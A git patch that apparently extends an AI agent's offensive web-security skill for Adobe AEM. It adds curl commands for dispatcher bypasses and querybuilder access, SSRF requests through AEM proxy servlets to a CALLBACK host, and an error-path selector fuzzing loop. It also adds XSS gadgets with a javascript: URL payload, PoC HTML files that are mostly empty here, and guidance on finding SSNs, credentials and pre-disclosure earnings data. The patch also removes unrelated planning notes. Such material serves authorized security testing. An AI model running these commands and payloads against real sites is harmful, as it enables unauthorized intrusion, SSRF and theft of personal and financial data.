From bd54165ee157e4438a198f9a71068322769ae44d Mon Sep 17 00:00:00 2001 From: GangGreenTemperTatum <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 29 May 2026 10:38:07 -0400 Subject: [PATCH 1/2] chore: enhance adobe aem skills and pocs for web --- .claude/worktrees/ads+cap-987-skill-optimizer | 1 + .../skills/aem-sling-exploitation/SKILL.md | 8 +-- .../dispatcher-bypass-patterns.md | 47 ++++++++++++++++- .../javascript-uri-validation-bypass.html | 45 ++++++++++++++++ .../pocs/jquery-text-dompurify-bypass.html | 47 +++++++++++++++++ .../pocs/moment-format-xss.html | 51 +++++++++++++++++++ .../aem-sling-exploitation/xss-gadgets.md | 17 +++++++ findings.md | 20 ++++++++ progress.md | 39 ++++++++++++++ task_plan.md | 45 ++++++++++++++++ 10 files changed, 314 insertions(+), 6 deletions(-) create mode 160000 .claude/worktrees/ads+cap-987-skill-optimizer create mode 100644 capabilities/web-security/skills/aem-sling-exploitation/pocs/javascript-uri-validation-bypass.html create mode 100644 capabilities/web-security/skills/aem-sling-exploitation/pocs/jquery-text-dompurify-bypass.html create mode 100644 capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html create mode 100644 findings.md create mode 100644 progress.md create mode 100644 task_plan.md diff --git a/.claude/worktrees/ads+cap-987-skill-optimizer b/.claude/worktrees/ads+cap-987-skill-optimizer new file mode 160000 index 0000000..0945384 --- /dev/null +++ b/.claude/worktrees/ads+cap-987-skill-optimizer @@ -0,0 +1 @@ +Subproject commit 094538496ff6c137bcd1734e1a0560f5ad8ae89a diff --git a/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md b/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md index 2395bb4..c1bbd96 100644 --- a/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md +++ b/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md @@ -130,15 +130,15 @@ curl -sk "https://TARGET/etc/packages.json" curl -sk "https://TARGET/crx/packmgr/list.jsp" ``` -**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content` and `/content/dam`. +**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content`, `/content/dam`, and `/var`. Financial institutions: pre-disclosure earnings reports in `/content` = insider-trading-grade impact. `/etc/packages` may contain source code, DB credentials, and API keys (Akamai keys = full WAF control + origin pivoting). ## 5. Default permissions footgun The anonymous user belongs to the `everyone` group by default. Every "open to all users" JCR ACL also applies to unauthenticated visitors. Test: ```bash -# Check anonymous access to /libs, /apps, /etc -for path in /libs /apps /etc /content /home; do +# Check anonymous access to /libs, /apps, /etc, /var +for path in /libs /apps /etc /content /home /var; do code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET${path}.1.json") echo "$path → $code" done @@ -192,9 +192,9 @@ See [xss-gadgets.md](xss-gadgets.md) for moment.js format injection, jQuery `.te **Key check:** If dispatcher blocks are the only defense, they can be bypassed. If JCR ACLs are in place, selector abuse hits 403 at the Sling layer — game over. ## Chain With +- `hopgoblin` (automated CVE scan first, then manual exploitation here) - `apache-confusion-attacks` (if Apache httpd fronts AEM dispatcher) - `403-bypass` (dispatcher returns 403, try header/path manipulation) - `dom-vulnerability-detection` (for AEM-specific XSS gadgets in client JS) - `parser-differential-bypass` (dispatcher vs Sling parsing differences) - `write-path-to-rce` (if file write is achievable on AMS instances) -- **hopgoblin** (external tool) — automated AEM CVE scanner, run first for known vulns diff --git a/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md b/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md index 5fc5597..dd0a8a6 100644 --- a/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md +++ b/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md @@ -3,15 +3,27 @@ When direct paths are blocked, use selector/suffix manipulation: ```bash -# Extension confusion +# Extension confusion — dispatcher allows static extensions, Sling drops unrecognized ones curl -sk "https://TARGET/bin/querybuilder.json" # blocked curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json" # bypass via form suffix +curl -sk "https://TARGET/libs/dam/merge/metadata.css?path=/etc" # extension confusion on merge servlet +curl -sk "https://TARGET/libs/dam/merge/metadata.css?path=&.html" # force HTML via suffix # Selector stacking curl -sk "https://TARGET/content/page.listParagraphs.html" # blocked curl -sk "https://TARGET/content/page.form.js/content/page.listParagraphs.html" # form → listParagraphs -# Path encoding +# Double bypass chain anatomy: +# /content/site/page.form.js/content/site/page.listParagraphs.html?itemResourceType=...&path= +# ├─ Dispatcher sees ".form.js" (allowed static extension) ──────────────────────────────────────┐ +# ├─ Sling forwards suffix as new request path: /content/site/page.listParagraphs.html │ +# └─ listParagraphs resolves /libs JSP internally (second bypass) ──── XSS executes ─────────────┘ + +# Encoded slash bypass (%2F) — bypasses dispatcher path filters +curl -sk "https://TARGET/%2fbin%2fquerybuilder.json?path=/etc" +curl -sk "https://TARGET/%2fetc%2ftruststore.json" + +# Path encoding variants curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json" curl -sk "https://TARGET/content/dam.form.css/%62in/querybuilder.json" @@ -19,3 +31,34 @@ curl -sk "https://TARGET/content/dam.form.css/%62in/querybuilder.json" curl -sk "https://TARGET/bin/querybuilder.json;.css" curl -sk "https://TARGET/bin/querybuilder.json;x=.ico" ``` + +## SSRF via AEM Proxy Servlets + +```bash +# Opensocial/Shindig proxy (common on older AEM) +curl -sk "https://TARGET/libs/opensocial/proxy?container=default&url=http://CALLBACK" +curl -sk "https://TARGET/libs/shindig/proxy?container=default&url=http://CALLBACK" + +# ReportingServicesProxyServlet (CVE-2018-12809) +curl -sk "https://TARGET/libs/ca/contentinsight/content/proxy.reportingservices.json?url=http://CALLBACK" +curl -sk "https://TARGET/libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://CALLBACK" + +# SiteCatalystServlet SSRF +curl -sk "https://TARGET/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet" +curl -sk "https://TARGET/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json" +``` + +## Error-Path Selector Chaining Strategy + +When one selector is blocked by dispatcher rules, fuzz for a second selector producing reflection on a different error code path. Different HTTP status codes (400, 403, 404, 500) may route through different error handlers with different filtering: + +```bash +# If rawcontent alone is blocked, savedsearch produces 400 errors with path reflection +curl -sk "https://TARGET/content/nonexistent.savedsearch.rawcontent.html" + +# Brute-force error-path selectors +for sel in savedsearch feed model tidy childrenlist; do + code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/content/nonexistent.${sel}.rawcontent.html") + echo "$sel → $code" +done +``` diff --git a/capabilities/web-security/skills/aem-sling-exploitation/pocs/javascript-uri-validation-bypass.html b/capabilities/web-security/skills/aem-sling-exploitation/pocs/javascript-uri-validation-bypass.html new file mode 100644 index 0000000..4c1b59f --- /dev/null +++ b/capabilities/web-security/skills/aem-sling-exploitation/pocs/javascript-uri-validation-bypass.html @@ -0,0 +1,45 @@ + + + + + +
+

URL XSS Tester

+
+ + +
+
+
+ + + + diff --git a/capabilities/web-security/skills/aem-sling-exploitation/pocs/jquery-text-dompurify-bypass.html b/capabilities/web-security/skills/aem-sling-exploitation/pocs/jquery-text-dompurify-bypass.html new file mode 100644 index 0000000..e7414bc --- /dev/null +++ b/capabilities/web-security/skills/aem-sling-exploitation/pocs/jquery-text-dompurify-bypass.html @@ -0,0 +1,47 @@ + + + + + + + +
+

Text XSS Tester

+
+ + +
+
+
+ + + + diff --git a/capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html b/capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html new file mode 100644 index 0000000..9b628f7 --- /dev/null +++ b/capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html @@ -0,0 +1,51 @@ + + + + Just a moment... + + + + +
+

Date Formatter

+ +
+ + + + + + + +
+ +
+
+ + + + + diff --git a/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md b/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md index 5346319..5442612 100644 --- a/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md +++ b/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md @@ -1,12 +1,19 @@ # AEM-Specific XSS Gadgets +These gadgets apply to AEM sites and beyond — any webapp using these libraries. Source: Jim Green (600+ AEM CVEs). + ### moment.js format injection If user input controls `moment().format()` argument and output hits innerHTML: ```javascript moment().format("[]") // Square brackets = literal output in moment.js format strings +// moment.js is deprecated but extremely common in AEM clientlibs ``` +**Detection:** Search AEM clientlibs for `moment(` imports. Check if any format string derives from user input (URL params, form fields, API responses). + +**PoC:** [moment-format-xss.html](pocs/moment-format-xss.html) — loads moment.js from CDN, format param from query string. + ### jQuery .text() entity re-decoding Post-DOMPurify bypass chain: ```javascript @@ -20,6 +27,12 @@ el.innerHTML = text; // re-parses as HTML → XSS // DOMPurify sees entities (safe) → browser decodes → .text() reads raw tags → innerHTML executes ``` +**Detection:** Search AEM clientlibs for `DOMPurify.sanitize` followed by `.text()` or `.textContent` flowing back into `innerHTML`, `.html()`, or `document.write`. Also check `.val()` reads that get re-rendered. + +**Key insight:** "Always check what happens to sanitized output when read back via `.text()`, `.val()`, `.textContent`" + +**PoC:** [jquery-text-dompurify-bypass.html](pocs/jquery-text-dompurify-bypass.html) — DOMPurify + jQuery `.text()` chain. + ### javascript: URI property population ```javascript let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document.domain)"); @@ -28,3 +41,7 @@ let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document // u.port === "443" (passes port checks) // After javascript: scheme is stripped, // starts a JS single-line comment. %0a newline ends it. Code after executes. ``` + +**Detection:** Search for `new URL(` combined with hostname/pathname validation before `window.open()`, `location.href`, or link `href` assignment. Common in redirect handlers and OAuth flows on AEM sites. + +**PoC:** [javascript-uri-validation-bypass.html](pocs/javascript-uri-validation-bypass.html) — URL constructor validation + `window.open`. diff --git a/findings.md b/findings.md new file mode 100644 index 0000000..5288b8c --- /dev/null +++ b/findings.md @@ -0,0 +1,20 @@ +# Findings: Web-Security Issue Tracker Integrations + +## Existing Web-Security Patterns + +- `web-security` already declares inline MCP servers in `capability.yaml`. +- Existing `mcp/hackerone.py` is the closest integration pattern: self-contained PEP 723 script, FastMCP, lazy async `httpx.AsyncClient`, env-var auth, health tool, report create/comment tools, and mocked tests via a FastMCP stub. +- The agent prompt enforces a validation/reporting pipeline before any submission: `assess_confidence`, `report-preflight`, `exploit-verifier`, `report-writer`. +- A connector should be a delivery/export surface after validation, not part of discovery. + +## Connector Scope Decisions + +- Jira: likely MCP server with Cloud REST API v3, basic auth/API token first. Main formatting issue is Jira ADF; MVP can generate simple ADF paragraphs from Markdown/plain text rather than full Markdown fidelity. +- Linear: GraphQL API or official MCP. For portability inside this capability, a local MCP gives predictable tool names and tests. +- GitHub: could be skill-only with `gh`, but runtime portability favors a small local MCP unless default GitHub tooling is guaranteed. + +## Official API Notes + +- Jira Cloud REST issues API supports create/get/edit/assign/transition/create metadata. +- Linear GraphQL endpoint is `https://api.linear.app/graphql`; `issueCreate` accepts `title`, `description`, `teamId`. +- GitHub create issue via REST requires fine-grained token with `Issues: write`. diff --git a/progress.md b/progress.md new file mode 100644 index 0000000..c58f06c --- /dev/null +++ b/progress.md @@ -0,0 +1,39 @@ +# Progress: Web-Security Issue Tracker Integrations + +## Session Log + +- Started implementation planning for ENG-6951, ENG-6952, ENG-6953. +- Confirmed repo is on `main` tracking `origin/main`; untracked `.claude/` exists and must be left alone. + +## Branches / Worktrees + +| Issue | Branch | Worktree | Status | +|---|---|---|---| +| ENG-6951 | `ads/eng-6951-jira-web-security` | `/Users/ads/git/capabilities-eng-6951` | implementation validated, uncommitted | +| ENG-6952 | `ads/eng-6952-linear-web-security` | `/Users/ads/git/capabilities-eng-6952` | implementation validated, uncommitted | +| ENG-6953 | `ads/eng-6953-github-web-security` | `/Users/ads/git/capabilities-eng-6953` | implementation validated, uncommitted | + +## Validation Results + +| Issue | Command | Result | Notes | +|---|---|---|---| +| ENG-6951 | `uv run pytest capabilities/web-security/tests/test_jira_mcp.py` | passed | 10 tests | +| ENG-6951 | `mypy capabilities/web-security/mcp/jira.py capabilities/web-security/tests/test_jira_mcp.py --ignore-missing-imports` | passed | no issues | +| ENG-6951 | `pre-commit run --files capabilities/web-security/capability.yaml capabilities/web-security/mcp/jira.py capabilities/web-security/tests/test_jira_mcp.py` | passed | check-yaml, ruff, ruff-format, gitleaks | +| ENG-6951 | `just validate` | passed with warnings | 0 failed; unrelated warnings for bloodhound-enterprise runtime imports, web-security caido/burp checks, windows Java | +| ENG-6951 | MCP startup smoke via Python subprocess timeout | passed | `uv run capabilities/web-security/mcp/jira.py` starts and remains running | +| ENG-6951 | `PYTHONPATH=capabilities/web-security/tools uv run pytest capabilities/web-security/tests` | passed | 146 passed, 7 existing pytest warnings | +| ENG-6952 | `uv run pytest capabilities/web-security/tests/test_linear_mcp.py` | passed | 11 tests | +| ENG-6952 | `mypy capabilities/web-security/mcp/linear.py capabilities/web-security/tests/test_linear_mcp.py --ignore-missing-imports` | passed | no issues | +| ENG-6952 | `pre-commit run --files capabilities/web-security/capability.yaml capabilities/web-security/mcp/linear.py capabilities/web-security/tests/test_linear_mcp.py` | passed | check-yaml, ruff, ruff-format, gitleaks | +| ENG-6952 | `just validate` | passed with warnings | 0 failed; same unrelated warnings as ENG-6951 | +| ENG-6952 | MCP startup smoke via Python subprocess timeout | passed | `uv run capabilities/web-security/mcp/linear.py` starts and remains running | +| ENG-6952 | `PYTHONPATH=capabilities/web-security/tools uv run pytest capabilities/web-security/tests` | passed | 147 passed, 7 existing pytest warnings | +| ENG-6952 | `git diff --check` | passed | no whitespace errors | +| ENG-6953 | `uv run pytest capabilities/web-security/tests/test_github_mcp.py` | passed | 10 tests | +| ENG-6953 | `mypy capabilities/web-security/mcp/github.py capabilities/web-security/tests/test_github_mcp.py --ignore-missing-imports` | passed | no issues | +| ENG-6953 | `pre-commit run --files capabilities/web-security/capability.yaml capabilities/web-security/agents/web-security.md capabilities/web-security/mcp/github.py capabilities/web-security/tests/test_github_mcp.py` | passed | check-yaml, ruff, ruff-format, gitleaks | +| ENG-6953 | `just validate` | passed with warnings | 0 failed; same unrelated warnings as ENG-6951 | +| ENG-6953 | MCP startup smoke via Python subprocess timeout | passed | `uv run capabilities/web-security/mcp/github.py` starts and remains running | +| ENG-6953 | `PYTHONPATH=capabilities/web-security/tools uv run pytest capabilities/web-security/tests` | passed | 146 passed, 7 existing pytest warnings | +| ENG-6953 | `git diff --check` | passed | no whitespace errors | diff --git a/task_plan.md b/task_plan.md new file mode 100644 index 0000000..0e82912 --- /dev/null +++ b/task_plan.md @@ -0,0 +1,45 @@ +# Task Plan: Web-Security Issue Tracker Integrations + +## Goal + +Implement Jira, Linear, and GitHub integrations for the `web-security` capability, one Linear task per isolated git worktree/branch: + +- ENG-6951: Jira integration +- ENG-6952: Linear integration +- ENG-6953: GitHub integration + +Each connector must pass formatting, linting, type checks, tests, `just validate`, and work with the Dreadnode TUI through the `web-security` capability before PR readiness. + +## Constraints + +- Use one unique worktree and branch per connector. +- Commit/push/open PR only when fully confident. +- Preserve existing repo patterns. +- Do not rename existing tools/agents/skills without need. +- Keep integrations efficient and scoped to validated finding/report export. +- Leave planning files uncommitted unless explicitly requested. + +## Phases + +| Phase | Status | Notes | +|---|---|---| +| Planning and base inspection | complete | Established worktrees, shared patterns, validation commands | +| ENG-6951 Jira | complete | Implemented, tests/pre-commit/mypy/validate/MCP smoke passed | +| ENG-6952 Linear | complete | Implemented, tests/pre-commit/mypy/validate/MCP smoke passed | +| ENG-6953 GitHub | complete | Implemented, tests/pre-commit/mypy/validate/MCP smoke passed | +| Final review | complete | Branches ready for human review; no commits/pushes/PRs made | + +## Validation Checklist Per Branch + +- `uv run pytest capabilities/web-security/tests/` +- `pre-commit run --files ` +- `just validate` +- capability/MCP load smoke test for Dreadnode TUI compatibility +- `git diff --check` + +## Errors Encountered + +| Error | Attempt | Resolution | +|---|---|---| +| `timeout` command unavailable on macOS during MCP smoke | ENG-6951 attempt 1 | Use Python `subprocess.run(..., timeout=...)` instead | +| Full web-security pytest collection could not import bare `bbscope` | ENG-6951 attempt 1 | Rerun with `PYTHONPATH=capabilities/web-security/tools` | From c092e1068258b7a9df66b2e18e66f39d555b25c9 Mon Sep 17 00:00:00 2001 From: GangGreenTemperTatum <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 29 May 2026 10:46:24 -0400 Subject: [PATCH 2/2] chore: enhance adobe aem skills and pocs for web Added encoded slash bypass (%2F), SSRF proxy servlets (opensocial, shindig, reportingservices CVE-2018-12809, sitecatalyst), dam/merge/metadata extension confusion, error-path selector chaining strategy, double-bypass chain visual, /var path enumeration, financial data hunting notes, XSS gadget detection guidance and local PoC references. --- .claude/worktrees/ads+cap-987-skill-optimizer | 1 - findings.md | 20 --------- progress.md | 39 ---------------- task_plan.md | 45 ------------------- 4 files changed, 105 deletions(-) delete mode 160000 .claude/worktrees/ads+cap-987-skill-optimizer delete mode 100644 findings.md delete mode 100644 progress.md delete mode 100644 task_plan.md diff --git a/.claude/worktrees/ads+cap-987-skill-optimizer b/.claude/worktrees/ads+cap-987-skill-optimizer deleted file mode 160000 index 0945384..0000000 --- a/.claude/worktrees/ads+cap-987-skill-optimizer +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 094538496ff6c137bcd1734e1a0560f5ad8ae89a diff --git a/findings.md b/findings.md deleted file mode 100644 index 5288b8c..0000000 --- a/findings.md +++ /dev/null @@ -1,20 +0,0 @@ -# Findings: Web-Security Issue Tracker Integrations - -## Existing Web-Security Patterns - -- `web-security` already declares inline MCP servers in `capability.yaml`. -- Existing `mcp/hackerone.py` is the closest integration pattern: self-contained PEP 723 script, FastMCP, lazy async `httpx.AsyncClient`, env-var auth, health tool, report create/comment tools, and mocked tests via a FastMCP stub. -- The agent prompt enforces a validation/reporting pipeline before any submission: `assess_confidence`, `report-preflight`, `exploit-verifier`, `report-writer`. -- A connector should be a delivery/export surface after validation, not part of discovery. - -## Connector Scope Decisions - -- Jira: likely MCP server with Cloud REST API v3, basic auth/API token first. Main formatting issue is Jira ADF; MVP can generate simple ADF paragraphs from Markdown/plain text rather than full Markdown fidelity. -- Linear: GraphQL API or official MCP. For portability inside this capability, a local MCP gives predictable tool names and tests. -- GitHub: could be skill-only with `gh`, but runtime portability favors a small local MCP unless default GitHub tooling is guaranteed. - -## Official API Notes - -- Jira Cloud REST issues API supports create/get/edit/assign/transition/create metadata. -- Linear GraphQL endpoint is `https://api.linear.app/graphql`; `issueCreate` accepts `title`, `description`, `teamId`. -- GitHub create issue via REST requires fine-grained token with `Issues: write`. diff --git a/progress.md b/progress.md deleted file mode 100644 index c58f06c..0000000 --- a/progress.md +++ /dev/null @@ -1,39 +0,0 @@ -# Progress: Web-Security Issue Tracker Integrations - -## Session Log - -- Started implementation planning for ENG-6951, ENG-6952, ENG-6953. -- Confirmed repo is on `main` tracking `origin/main`; untracked `.claude/` exists and must be left alone. - -## Branches / Worktrees - -| Issue | Branch | Worktree | Status | -|---|---|---|---| -| ENG-6951 | `ads/eng-6951-jira-web-security` | `/Users/ads/git/capabilities-eng-6951` | implementation validated, uncommitted | -| ENG-6952 | `ads/eng-6952-linear-web-security` | `/Users/ads/git/capabilities-eng-6952` | implementation validated, uncommitted | -| ENG-6953 | `ads/eng-6953-github-web-security` | `/Users/ads/git/capabilities-eng-6953` | implementation validated, uncommitted | - -## Validation Results - -| Issue | Command | Result | Notes | -|---|---|---|---| -| ENG-6951 | `uv run pytest capabilities/web-security/tests/test_jira_mcp.py` | passed | 10 tests | -| ENG-6951 | `mypy capabilities/web-security/mcp/jira.py capabilities/web-security/tests/test_jira_mcp.py --ignore-missing-imports` | passed | no issues | -| ENG-6951 | `pre-commit run --files capabilities/web-security/capability.yaml capabilities/web-security/mcp/jira.py capabilities/web-security/tests/test_jira_mcp.py` | passed | check-yaml, ruff, ruff-format, gitleaks | -| ENG-6951 | `just validate` | passed with warnings | 0 failed; unrelated warnings for bloodhound-enterprise runtime imports, web-security caido/burp checks, windows Java | -| ENG-6951 | MCP startup smoke via Python subprocess timeout | passed | `uv run capabilities/web-security/mcp/jira.py` starts and remains running | -| ENG-6951 | `PYTHONPATH=capabilities/web-security/tools uv run pytest capabilities/web-security/tests` | passed | 146 passed, 7 existing pytest warnings | -| ENG-6952 | `uv run pytest capabilities/web-security/tests/test_linear_mcp.py` | passed | 11 tests | -| ENG-6952 | `mypy capabilities/web-security/mcp/linear.py capabilities/web-security/tests/test_linear_mcp.py --ignore-missing-imports` | passed | no issues | -| ENG-6952 | `pre-commit run --files capabilities/web-security/capability.yaml capabilities/web-security/mcp/linear.py capabilities/web-security/tests/test_linear_mcp.py` | passed | check-yaml, ruff, ruff-format, gitleaks | -| ENG-6952 | `just validate` | passed with warnings | 0 failed; same unrelated warnings as ENG-6951 | -| ENG-6952 | MCP startup smoke via Python subprocess timeout | passed | `uv run capabilities/web-security/mcp/linear.py` starts and remains running | -| ENG-6952 | `PYTHONPATH=capabilities/web-security/tools uv run pytest capabilities/web-security/tests` | passed | 147 passed, 7 existing pytest warnings | -| ENG-6952 | `git diff --check` | passed | no whitespace errors | -| ENG-6953 | `uv run pytest capabilities/web-security/tests/test_github_mcp.py` | passed | 10 tests | -| ENG-6953 | `mypy capabilities/web-security/mcp/github.py capabilities/web-security/tests/test_github_mcp.py --ignore-missing-imports` | passed | no issues | -| ENG-6953 | `pre-commit run --files capabilities/web-security/capability.yaml capabilities/web-security/agents/web-security.md capabilities/web-security/mcp/github.py capabilities/web-security/tests/test_github_mcp.py` | passed | check-yaml, ruff, ruff-format, gitleaks | -| ENG-6953 | `just validate` | passed with warnings | 0 failed; same unrelated warnings as ENG-6951 | -| ENG-6953 | MCP startup smoke via Python subprocess timeout | passed | `uv run capabilities/web-security/mcp/github.py` starts and remains running | -| ENG-6953 | `PYTHONPATH=capabilities/web-security/tools uv run pytest capabilities/web-security/tests` | passed | 146 passed, 7 existing pytest warnings | -| ENG-6953 | `git diff --check` | passed | no whitespace errors | diff --git a/task_plan.md b/task_plan.md deleted file mode 100644 index 0e82912..0000000 --- a/task_plan.md +++ /dev/null @@ -1,45 +0,0 @@ -# Task Plan: Web-Security Issue Tracker Integrations - -## Goal - -Implement Jira, Linear, and GitHub integrations for the `web-security` capability, one Linear task per isolated git worktree/branch: - -- ENG-6951: Jira integration -- ENG-6952: Linear integration -- ENG-6953: GitHub integration - -Each connector must pass formatting, linting, type checks, tests, `just validate`, and work with the Dreadnode TUI through the `web-security` capability before PR readiness. - -## Constraints - -- Use one unique worktree and branch per connector. -- Commit/push/open PR only when fully confident. -- Preserve existing repo patterns. -- Do not rename existing tools/agents/skills without need. -- Keep integrations efficient and scoped to validated finding/report export. -- Leave planning files uncommitted unless explicitly requested. - -## Phases - -| Phase | Status | Notes | -|---|---|---| -| Planning and base inspection | complete | Established worktrees, shared patterns, validation commands | -| ENG-6951 Jira | complete | Implemented, tests/pre-commit/mypy/validate/MCP smoke passed | -| ENG-6952 Linear | complete | Implemented, tests/pre-commit/mypy/validate/MCP smoke passed | -| ENG-6953 GitHub | complete | Implemented, tests/pre-commit/mypy/validate/MCP smoke passed | -| Final review | complete | Branches ready for human review; no commits/pushes/PRs made | - -## Validation Checklist Per Branch - -- `uv run pytest capabilities/web-security/tests/` -- `pre-commit run --files ` -- `just validate` -- capability/MCP load smoke test for Dreadnode TUI compatibility -- `git diff --check` - -## Errors Encountered - -| Error | Attempt | Resolution | -|---|---|---| -| `timeout` command unavailable on macOS during MCP smoke | ENG-6951 attempt 1 | Use Python `subprocess.run(..., timeout=...)` instead | -| Full web-security pytest collection could not import bare `bbscope` | ENG-6951 attempt 1 | Rerun with `PYTHONPATH=capabilities/web-security/tools` |